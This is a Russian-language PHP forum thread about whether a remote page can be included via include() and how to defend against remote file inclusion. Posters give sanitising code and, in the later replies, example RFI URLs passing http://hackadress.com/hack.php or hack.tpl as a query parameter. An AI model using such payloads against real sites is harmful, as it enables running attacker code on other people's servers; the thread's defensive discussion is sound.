Если заинклайдить сайт?
Вопрос. Если допустим создать некую пхп страничку, и вней указать инструкцию Include('адрес_файла'), в качестве адреса файла указать адрес index.php странички кагого либо сайта. Не получится ли так что при таком вложении из главного файла станут доступны переменные, и прочие данные из файла вложенного.
Если такое возможно то как с этим боротся?
C HTTP запроса на сайт на пхп-страницу данные этого php-файла не будут выодится. Выведется уже готовая страница
2merlex Попутный вопрос. А если самому попробывать? На это нужно буквально 2 минуты. Ответ на твой вопрос + повторный заход сюда занял больше времени.
2 shaelf на самом деле я конечно же сам пробовал, но на всякий случай решил еще спросить, может есть какието нюансы, навроде, специальные атрибуты файлам выставлять надо или еще чего нибудь.
Не сказали самого главного: парень просто захотел что-то взломать. Но "заинклайдить" удалённый скрипт средствами HTTP не получится (попробуйте запросить скрипт по http - у вас же в браузере не исходник выводится, верно?). Кроме того, на большинстве хостингов отключена такая опция, как прозрачная загрузка файлов по сети.
Что-то типа http://myadress.com/?id=post.php
ну и если указать http://myadress.com/?id=http://hackadress.com/hack.php то вероятно произойдет что-то не очень хорошее.
Код:
$page = str_replace("/", "", $_GET['id']);
$page = str_replace(".", "", $page);
if(strlen($page) > 8) {
include('error.html');
} else {
$page = $page . ".php";
include($page);
}
$page = str_replace(".", "", $page);
if(strlen($page) > 8) {
include('error.html');
} else {
$page = $page . ".php";
include($page);
}
Как вариант можно ещё использововать switch, но как мне кажется этот метод более гибкий, т.к. при добавлении новых страничек не нужно ковырять контроллер. Единственное ограничение тут только то, что название файла должно быть не больше 8 символов.
Код:
if ((empty($_GET[mod]))||(!file_exists("$MOD_DIR/$_GET[mod].php"))||(!ctype_alpha($_GET[mod]))) $mod = "index";
else $mod = $_GET[mod];
else $mod = $_GET[mod];
Что-то типа http://myadress.com/?id=post.php
ну и если указать http://myadress.com/?id=http://hackadress.com/hack.php то вероятно произойдет что-то не очень хорошее.[/QUOTE]
http://myadress.com/?id=http://hackadress.com/hack.php скорей всего не сработает а вот http://myadress.com/?id=http://hackadress.com/hack.tpl может :)
http://myadress.com/?id=http://hackadress.com/hack.php скорей всего не сработает
Он сработает только если на hackadress.com нету поддержки РНР (тот же народ).
>>
Он сработает только если на hackadress.com нету поддержки РНР (тот же народ).